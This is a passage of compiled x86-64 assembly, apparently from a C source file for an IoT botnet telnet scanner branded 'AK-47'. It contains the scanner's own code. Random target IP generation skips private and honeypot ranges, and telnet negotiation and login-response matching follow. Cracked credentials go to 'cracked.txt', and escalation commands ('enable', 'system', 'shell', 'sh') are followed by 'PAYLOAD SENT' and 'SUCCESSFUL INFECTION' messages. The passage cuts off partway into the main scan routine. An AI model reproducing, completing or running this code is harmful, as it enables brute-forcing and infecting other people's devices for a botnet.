	mov	rax, QWORD PTR -56[rbp]
	mov	rax, QWORD PTR [rax]
	mov	BYTE PTR [rax], 0
.L69:
	mov	eax, ebx
	mov	rdi, QWORD PTR -40[rbp]
	sub	rdi, QWORD PTR fs:40
	je	.L71
	call	__stack_chk_fail@PLT
.L71:
	lea	rsp, -32[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE11:
	.size	print, .-print
	.globl	szprintf
	.type	szprintf, @function
szprintf:
.LFB12:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 224
	mov	QWORD PTR -216[rbp], rdi
	mov	QWORD PTR -224[rbp], rsi
	mov	QWORD PTR -160[rbp], rdx
	mov	QWORD PTR -152[rbp], rcx
	mov	QWORD PTR -144[rbp], r8
	mov	QWORD PTR -136[rbp], r9
	test	al, al
	je	.L76
	movaps	XMMWORD PTR -128[rbp], xmm0
	movaps	XMMWORD PTR -112[rbp], xmm1
	movaps	XMMWORD PTR -96[rbp], xmm2
	movaps	XMMWORD PTR -80[rbp], xmm3
	movaps	XMMWORD PTR -64[rbp], xmm4
	movaps	XMMWORD PTR -48[rbp], xmm5
	movaps	XMMWORD PTR -32[rbp], xmm6
	movaps	XMMWORD PTR -16[rbp], xmm7
.L76:
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -184[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -208[rbp], 16
	mov	DWORD PTR -204[rbp], 48
	lea	rax, 16[rbp]
	mov	QWORD PTR -200[rbp], rax
	lea	rax, -176[rbp]
	mov	QWORD PTR -192[rbp], rax
	lea	rdx, -208[rbp]
	mov	rcx, QWORD PTR -224[rbp]
	lea	rax, -216[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	print
	mov	rsi, QWORD PTR -184[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L78
	call	__stack_chk_fail@PLT
.L78:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE12:
	.size	szprintf, .-szprintf
	.globl	thanks
	.section	.rodata
	.align 8
.LC80:
	.string	"thanks to unhappygh0st for the honeypot ip ranges :)"
	.section	.data.rel.local
	.align 8
	.type	thanks, @object
	.size	thanks, 8
thanks:
	.quad	.LC80
	.section	.rodata
.LC81:
	.string	"%d.%d.%d.%d"
	.text
	.globl	getDatIP
	.type	getDatIP, @function
getDatIP:
.LFB13:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -36[rbp], 0
	call	rand@PLT
	movsx	rdx, eax
	imul	rdx, rdx, -2139062143
	shr	rdx, 32
	add	edx, eax
	sar	edx, 7
	mov	esi, eax
	sar	esi, 31
	mov	ecx, edx
	sub	ecx, esi
	mov	edx, ecx
	sal	edx, 8
	sub	edx, ecx
	sub	eax, edx
	mov	ecx, eax
	mov	eax, ecx
	mov	BYTE PTR -36[rbp], al
	call	rand@PLT
	movsx	rdx, eax
	imul	rdx, rdx, -2139062143
	shr	rdx, 32
	add	edx, eax
	sar	edx, 7
	mov	esi, eax
	sar	esi, 31
	mov	ecx, edx
	sub	ecx, esi
	mov	edx, ecx
	sal	edx, 8
	sub	edx, ecx
	sub	eax, edx
	mov	ecx, eax
	mov	eax, ecx
	mov	BYTE PTR -35[rbp], al
	call	rand@PLT
	movsx	rdx, eax
	imul	rdx, rdx, -2139062143
	shr	rdx, 32
	add	edx, eax
	sar	edx, 7
	mov	esi, eax
	sar	esi, 31
	mov	ecx, edx
	sub	ecx, esi
	mov	edx, ecx
	sal	edx, 8
	sub	edx, ecx
	sub	eax, edx
	mov	ecx, eax
	mov	eax, ecx
	mov	BYTE PTR -34[rbp], al
	call	rand@PLT
	movsx	rdx, eax
	imul	rdx, rdx, -2139062143
	shr	rdx, 32
	add	edx, eax
	sar	edx, 7
	mov	esi, eax
	sar	esi, 31
	mov	ecx, edx
	sub	ecx, esi
	mov	edx, ecx
	sal	edx, 8
	sub	edx, ecx
	sub	eax, edx
	mov	ecx, eax
	mov	eax, ecx
	mov	BYTE PTR -33[rbp], al
	jmp	.L80
.L81:
	call	rand@PLT
	movsx	rdx, eax
	imul	rdx, rdx, -2139062143
	shr	rdx, 32
	add	edx, eax
	sar	edx, 7
	mov	esi, eax
	sar	esi, 31
	mov	ecx, edx
	sub	ecx, esi
	mov	edx, ecx
	sal	edx, 8
	sub	edx, ecx
	sub	eax, edx
	mov	ecx, eax
	mov	eax, ecx
	mov	BYTE PTR -36[rbp], al
	call	rand@PLT
	movsx	rdx, eax
	imul	rdx, rdx, -2139062143
	shr	rdx, 32
	add	edx, eax
	sar	edx, 7
	mov	esi, eax
	sar	esi, 31
	mov	ecx, edx
	sub	ecx, esi
	mov	edx, ecx
	sal	edx, 8
	sub	edx, ecx
	sub	eax, edx
	mov	ecx, eax
	mov	eax, ecx
	mov	BYTE PTR -35[rbp], al
	call	rand@PLT
	movsx	rdx, eax
	imul	rdx, rdx, -2139062143
	shr	rdx, 32
	add	edx, eax
	sar	edx, 7
	mov	esi, eax
	sar	esi, 31
	mov	ecx, edx
	sub	ecx, esi
	mov	edx, ecx
	sal	edx, 8
	sub	edx, ecx
	sub	eax, edx
	mov	ecx, eax
	mov	eax, ecx
	mov	BYTE PTR -34[rbp], al
	call	rand@PLT
	movsx	rdx, eax
	imul	rdx, rdx, -2139062143
	shr	rdx, 32
	add	edx, eax
	sar	edx, 7
	mov	esi, eax
	sar	esi, 31
	mov	ecx, edx
	sub	ecx, esi
	mov	edx, ecx
	sal	edx, 8
	sub	edx, ecx
	sub	eax, edx
	mov	ecx, eax
	mov	eax, ecx
	mov	BYTE PTR -33[rbp], al
.L80:
	movzx	eax, BYTE PTR -36[rbp]
	test	al, al
	je	.L81
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, 10
	je	.L81
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, 100
	jne	.L82
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 63
	jbe	.L82
	movzx	eax, BYTE PTR -35[rbp]
	test	al, al
	jns	.L81
.L82:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, 127
	je	.L81
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -87
	jne	.L83
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, -2
	je	.L81
.L83:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -84
	jne	.L84
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 16
	ja	.L84
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 31
	jbe	.L81
.L84:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -64
	jne	.L85
	movzx	eax, BYTE PTR -35[rbp]
	test	al, al
	jne	.L85
	movzx	eax, BYTE PTR -34[rbp]
	cmp	al, 2
	je	.L81
.L85:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -64
	jne	.L86
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 88
	jne	.L86
	movzx	eax, BYTE PTR -34[rbp]
	cmp	al, 99
	je	.L81
.L86:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -64
	jne	.L87
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, -88
	je	.L81
.L87:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -58
	jne	.L88
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 18
	je	.L81
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 19
	je	.L81
.L88:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -58
	jne	.L89
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 51
	jne	.L89
	movzx	eax, BYTE PTR -34[rbp]
	cmp	al, 100
	je	.L81
.L89:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -53
	jne	.L90
	movzx	eax, BYTE PTR -35[rbp]
	test	al, al
	jne	.L90
	movzx	eax, BYTE PTR -34[rbp]
	cmp	al, 113
	je	.L81
.L90:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, 62
	jne	.L91
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 30
	jbe	.L81
.L91:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -49
	jne	.L92
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 30
	jbe	.L92
	movzx	eax, BYTE PTR -34[rbp]
	cmp	al, 120
	jbe	.L81
.L92:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, 65
	jne	.L93
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, -33
	jbe	.L93
	movzx	eax, BYTE PTR -34[rbp]
	cmp	al, -30
	jbe	.L81
.L93:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -61
	jne	.L94
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 10
	je	.L81
.L94:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -40
	jne	.L95
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 25
	je	.L81
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 94
	je	.L81
.L95:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -44
	jne	.L96
	movzx	eax, BYTE PTR -35[rbp]
	cmp	al, 56
	je	.L81
.L96:
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -33
	jbe	.L97
	movzx	eax, BYTE PTR -36[rbp]
	cmp	al, -17
	jbe	.L81
.L97:
	mov	QWORD PTR -32[rbp], 0
	mov	QWORD PTR -24[rbp], 0
	movzx	eax, BYTE PTR -33[rbp]
	movzx	edi, al
	movzx	eax, BYTE PTR -34[rbp]
	movzx	esi, al
	movzx	eax, BYTE PTR -35[rbp]
	movzx	ecx, al
	movzx	eax, BYTE PTR -36[rbp]
	movzx	edx, al
	lea	rax, -32[rbp]
	mov	r9d, edi
	mov	r8d, esi
	lea	rsi, .LC81[rip]
	mov	rdi, rax
	mov	eax, 0
	call	szprintf
	lea	rax, -32[rbp]
	mov	rdi, rax
	call	inet_addr@PLT
	mov	rdi, QWORD PTR -8[rbp]
	sub	rdi, QWORD PTR fs:40
	je	.L99
	call	__stack_chk_fail@PLT
.L99:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE13:
	.size	getDatIP, .-getDatIP
	.globl	negotiate
	.type	negotiate, @function
negotiate:
.LFB14:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	DWORD PTR -20[rbp], edi
	mov	QWORD PTR -32[rbp], rsi
	mov	DWORD PTR -24[rbp], edx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -32[rbp]
	add	rax, 1
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cmp	eax, 254
	jg	.L101
	cmp	eax, 251
	jge	.L102
	jmp	.L116
.L101:
	cmp	eax, 255
	jne	.L116
	mov	eax, 0
	jmp	.L114
.L102:
	mov	BYTE PTR -9[rbp], -1
	lea	rsi, -9[rbp]
	mov	eax, DWORD PTR -20[rbp]
	mov	ecx, 16384
	mov	edx, 1
	mov	edi, eax
	call	send@PLT
	mov	rax, QWORD PTR -32[rbp]
	add	rax, 1
	movzx	eax, BYTE PTR [rax]
	cmp	al, -4
	jne	.L105
	mov	BYTE PTR -9[rbp], -2
	jmp	.L106
.L105:
	mov	rax, QWORD PTR -32[rbp]
	add	rax, 1
	movzx	eax, BYTE PTR [rax]
	cmp	al, -2
	jne	.L107
	mov	BYTE PTR -9[rbp], -4
	jmp	.L106
.L107:
	mov	rax, QWORD PTR -32[rbp]
	add	rax, 1
	movzx	eax, BYTE PTR [rax]
	cmp	al, 3
	jne	.L108
	mov	rax, QWORD PTR -32[rbp]
	add	rax, 1
	movzx	eax, BYTE PTR [rax]
	cmp	al, -3
	jne	.L109
	mov	eax, -5
	jmp	.L110
.L109:
	mov	eax, -3
.L110:
	mov	BYTE PTR -9[rbp], al
	jmp	.L106
.L108:
	mov	rax, QWORD PTR -32[rbp]
	add	rax, 1
	movzx	eax, BYTE PTR [rax]
	cmp	al, -3
	jne	.L111
	mov	eax, -4
	jmp	.L112
.L111:
	mov	eax, -2
.L112:
	mov	BYTE PTR -9[rbp], al
.L106:
	lea	rsi, -9[rbp]
	mov	eax, DWORD PTR -20[rbp]
	mov	ecx, 16384
	mov	edx, 1
	mov	edi, eax
	call	send@PLT
	mov	rax, QWORD PTR -32[rbp]
	lea	rsi, 2[rax]
	mov	eax, DWORD PTR -20[rbp]
	mov	ecx, 16384
	mov	edx, 1
	mov	edi, eax
	call	send@PLT
	jmp	.L113
.L116:
	nop
.L113:
	mov	eax, 0
.L114:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L115
	call	__stack_chk_fail@PLT
.L115:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE14:
	.size	negotiate, .-negotiate
	.globl	contains_string
	.type	contains_string, @function
contains_string:
.LFB15:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	QWORD PTR -32[rbp], rsi
	mov	DWORD PTR -8[rbp], 0
	mov	DWORD PTR -4[rbp], 0
	mov	DWORD PTR -8[rbp], 0
.L118:
	add	DWORD PTR -8[rbp], 1
	mov	eax, DWORD PTR -8[rbp]
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	test	rax, rax
	jne	.L118
	mov	DWORD PTR -4[rbp], 0
	jmp	.L119
.L122:
	mov	eax, DWORD PTR -4[rbp]
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	rdx, QWORD PTR [rax]
	mov	rax, QWORD PTR -24[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	mov	eax, 0
	call	strcasestr@PLT
	test	eax, eax
	je	.L120
	mov	eax, 1
	jmp	.L121
.L120:
	add	DWORD PTR -4[rbp], 1
.L119:
	mov	eax, DWORD PTR -4[rbp]
	cmp	eax, DWORD PTR -8[rbp]
	jl	.L122
	mov	eax, 0
.L121:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE15:
	.size	contains_string, .-contains_string
	.globl	contains_success
	.type	contains_success, @function
contains_success:
.LFB16:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, successes[rip]
	mov	rdi, rax
	call	contains_string
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE16:
	.size	contains_success, .-contains_success
	.globl	contains_fail
	.type	contains_fail, @function
contains_fail:
.LFB17:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, fails[rip]
	mov	rdi, rax
	call	contains_string
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE17:
	.size	contains_fail, .-contains_fail
	.globl	contains_response
	.type	contains_response, @function
contains_response:
.LFB18:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	mov	rdi, rax
	call	contains_success
	test	eax, eax
	jne	.L128
	mov	rax, QWORD PTR -8[rbp]
	mov	rdi, rax
	call	contains_fail
	test	eax, eax
	je	.L129
.L128:
	mov	eax, 1
	jmp	.L131
.L129:
	mov	eax, 0
.L131:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE18:
	.size	contains_response, .-contains_response
	.globl	read_with_timeout
	.type	read_with_timeout, @function
read_with_timeout:
.LFB19:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 208
	mov	DWORD PTR -180[rbp], edi
	mov	DWORD PTR -184[rbp], esi
	mov	QWORD PTR -192[rbp], rdx
	mov	DWORD PTR -196[rbp], ecx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	QWORD PTR -160[rbp], 0
	mov	eax, DWORD PTR -184[rbp]
	cdqe
	mov	QWORD PTR -152[rbp], rax
	mov	eax, 0
	mov	ecx, 16
	lea	rdx, -144[rbp]
	mov	rdi, rdx
#APP
# 587 "the_stack_data/367803.c" 1
	cld; rep; stosq
# 0 "" 2
#NO_APP
	mov	eax, edi
	mov	edx, ecx
	mov	DWORD PTR -168[rbp], edx
	mov	DWORD PTR -164[rbp], eax
	mov	eax, DWORD PTR -180[rbp]
	lea	edx, 63[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 6
	mov	esi, eax
	movsx	rax, esi
	mov	rdi, QWORD PTR -144[rbp+rax*8]
	mov	eax, DWORD PTR -180[rbp]
	cdq
	shr	edx, 26
	add	eax, edx
	and	eax, 63
	sub	eax, edx
	mov	edx, 1
	mov	ecx, eax
	sal	rdx, cl
	mov	rax, rdx
	or	rdi, rax
	mov	rdx, rdi
	movsx	rax, esi
	mov	QWORD PTR -144[rbp+rax*8], rdx
	mov	eax, DWORD PTR -180[rbp]
	lea	edi, 1[rax]
	lea	rdx, -160[rbp]
	lea	rax, -144[rbp]
	mov	r8, rdx
	mov	ecx, 0
	mov	edx, 0
	mov	rsi, rax
	call	select@PLT
	test	eax, eax
	jg	.L133
	mov	eax, 0
	jmp	.L135
.L133:
	mov	eax, DWORD PTR -196[rbp]
	movsx	rdx, eax
	mov	rsi, QWORD PTR -192[rbp]
	mov	eax, DWORD PTR -180[rbp]
	mov	ecx, 0
	mov	edi, eax
	call	recv@PLT
.L135:
	mov	rsi, QWORD PTR -8[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L136
	call	__stack_chk_fail@PLT
.L136:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE19:
	.size	read_with_timeout, .-read_with_timeout
	.section	.rodata
.LC82:
	.string	"\377"
	.text
	.globl	read_until_response
	.type	read_until_response, @function
read_until_response:
.LFB20:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	DWORD PTR -20[rbp], edi
	mov	DWORD PTR -24[rbp], esi
	mov	QWORD PTR -32[rbp], rdx
	mov	DWORD PTR -36[rbp], ecx
	mov	QWORD PTR -48[rbp], r8
	mov	eax, DWORD PTR -36[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -32[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	ecx, DWORD PTR -36[rbp]
	mov	rdx, QWORD PTR -32[rbp]
	mov	esi, DWORD PTR -24[rbp]
	mov	eax, DWORD PTR -20[rbp]
	mov	edi, eax
	call	read_with_timeout
	mov	DWORD PTR -4[rbp], eax
	lea	rax, .LC82[rip]
	cmp	QWORD PTR -32[rbp], rax
	jne	.L138
	mov	rcx, QWORD PTR -32[rbp]
	mov	eax, DWORD PTR -20[rbp]
	mov	edx, 3
	mov	rsi, rcx
	mov	edi, eax
	call	negotiate
.L138:
	mov	rdx, QWORD PTR -48[rbp]
	mov	rax, QWORD PTR -32[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	contains_string
	test	eax, eax
	je	.L139
	mov	eax, 1
	jmp	.L140
.L139:
	mov	eax, 0
.L140:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE20:
	.size	read_until_response, .-read_until_response
	.globl	get_telstate_host
	.type	get_telstate_host, @function
get_telstate_host:
.LFB21:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 4[rax]
	mov	DWORD PTR -4[rbp], eax
	mov	eax, DWORD PTR -4[rbp]
	mov	edi, eax
	call	inet_ntoa@PLT
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE21:
	.size	get_telstate_host, .-get_telstate_host
	.globl	advance_telstate
	.type	advance_telstate, @function
advance_telstate:
.LFB22:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	DWORD PTR -12[rbp], esi
	cmp	DWORD PTR -12[rbp], 0
	jne	.L144
	mov	rax, QWORD PTR -8[rbp]
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	close@PLT
.L144:
	mov	rax, QWORD PTR -8[rbp]
	mov	DWORD PTR 12[rax], 0
	mov	eax, DWORD PTR -12[rbp]
	mov	edx, eax
	mov	rax, QWORD PTR -8[rbp]
	mov	BYTE PTR 8[rax], dl
	mov	rax, QWORD PTR -8[rbp]
	mov	rax, QWORD PTR 16[rax]
	mov	edx, 1024
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE22:
	.size	advance_telstate, .-advance_telstate
	.globl	reset_telstate
	.type	reset_telstate, @function
reset_telstate:
.LFB23:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	advance_telstate
	mov	rax, QWORD PTR -8[rbp]
	mov	BYTE PTR 9[rax], 1
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE23:
	.size	reset_telstate, .-reset_telstate
	.globl	sclose
	.type	sclose, @function
sclose:
.LFB24:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	cmp	DWORD PTR -4[rbp], 2
	jg	.L147
	mov	eax, 1
	jmp	.L148
.L147:
	mov	eax, DWORD PTR -4[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, 0
.L148:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE24:
	.size	sclose, .-sclose
	.section	.rodata
.LC83:
	.string	"[AK-47] FOUND ---> %s:23\n"
.LC84:
	.string	"\r\n"
	.align 8
.LC85:
	.string	"[AK-47] [-] CRACKED ---> %s:23 %s:%s\n"
	.align 8
.LC86:
	.string	"echo '%s:23 %s:%s' >> cracked.txt"
.LC87:
	.string	"enable\r\n"
.LC88:
	.string	"system\r\n"
.LC89:
	.string	"shell\r\n"
.LC90:
	.string	"sh\r\n"
.LC91:
	.string	"echo -e '\\x41\\x4b\\x34\\x37'"
	.align 8
.LC92:
	.string	"[AK-47] [-] PAYLOAD SENT ---> %s:23 %s:%s\n"
	.align 8
.LC93:
	.string	"[AK-47] [+] SUCCESSFUL INFECTION ---> %s:23 %s:%s\n"
	.align 8
.LC94:
	.string	"[AK-47] [-] FAILED TO INFECT ---> %s:23 %s:%s\n"
	.text
	.globl	ak47telscan
	.type	ak47telscan, @function
ak47telscan:
.LFB25:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 1288
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	DWORD PTR -1316[rbp], edi
	mov	DWORD PTR -1320[rbp], esi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	eax, DWORD PTR -1320[rbp]
	mov	DWORD PTR -1296[rbp], eax
	mov	edi, 0
	call	time@PLT
	mov	ebx, eax
	call	rand_cmwc
	xor	eax, ebx
	mov	edi, eax
	call	srand@PLT
	mov	WORD PTR -1232[rbp], 2
	mov	edi, 23
	call	htons@PLT
	mov	WORD PTR -1230[rbp], ax
	lea	rax, -1232[rbp]
	add	rax, 8
	mov	edx, 8
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	edi, 1025
	call	malloc@PLT
	mov	QWORD PTR -1280[rbp], rax
	mov	rax, QWORD PTR -1280[rbp]
	mov	edx, 1025
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	ecx, DWORD PTR -1296[rbp]
	movsx	rax, ecx
	sub	rax, 1
	mov	QWORD PTR -1272[rbp], rax
	movsx	rax, ecx
	mov	r14, rax
	mov	r15d, 0
	imul	rdx, r15, 192
	imul	rax, r14, 0
	lea	rsi, [rdx+rax]
	mov	eax, 192
	mul	r14
	add	rsi, rdx
	mov	rdx, rsi
	movsx	rdx, ecx
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	movsx	rax, ecx
	mov	r12, rax
	mov	r13d, 0
	imul	rdx, r13, 192
	imul	rax, r12, 0
	lea	rsi, [rdx+rax]
	mov	eax, 192
	mul	r12
	add	rsi, rdx
	mov	rdx, rsi
	movsx	rdx, ecx
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	mov	eax, 16
	sub	rax, 1
	add	rax, rdx
	mov	ebx, 16
	mov	edx, 0
	div	rbx
	imul	rax, rax, 16
	mov	rcx, rax
	and	rcx, -4096
	mov	rdx, rsp
	sub	rdx, rcx
.L150:
	cmp	rsp, rdx
	je	.L151
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L150
.L151:
	mov	rdx, rax
	and	edx, 4095
	sub	rsp, rdx
	mov	rdx, rax
	and	edx, 4095
	test	rdx, rdx
	je	.L152
	and	eax, 4095
	sub	rax, 8
	add	rax, rsp
	or	QWORD PTR [rax], 0
.L152:
	mov	rax, rsp
	add	rax, 7
	shr	rax, 3
	sal	rax, 3
	mov	QWORD PTR -1264[rbp], rax
	mov	eax, DWORD PTR -1296[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 2
	add	rdx, rax
	mov	rax, QWORD PTR -1264[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	DWORD PTR -1300[rbp], 0
	jmp	.L153
.L154:
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	edx, 24
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 9
	mov	BYTE PTR [rax], 1
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	lea	rdx, 16[rax]
	mov	rax, QWORD PTR -1280[rbp]
	mov	QWORD PTR [rdx], rax
	add	DWORD PTR -1300[rbp], 1
.L153:
	mov	eax, DWORD PTR -1300[rbp]
	cmp	eax, DWORD PTR -1296[rbp]
	jl	.L154
.L206:
	mov	DWORD PTR -1300[rbp], 0
	jmp	.L155
.L205:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 12
	mov	eax, DWORD PTR [rax]
	test	eax, eax
	jne	.L156
	mov	edi, 0
	call	time@PLT
	mov	ecx, eax
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rsi
	add	rax, 12
	mov	DWORD PTR [rax], ecx
.L156:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
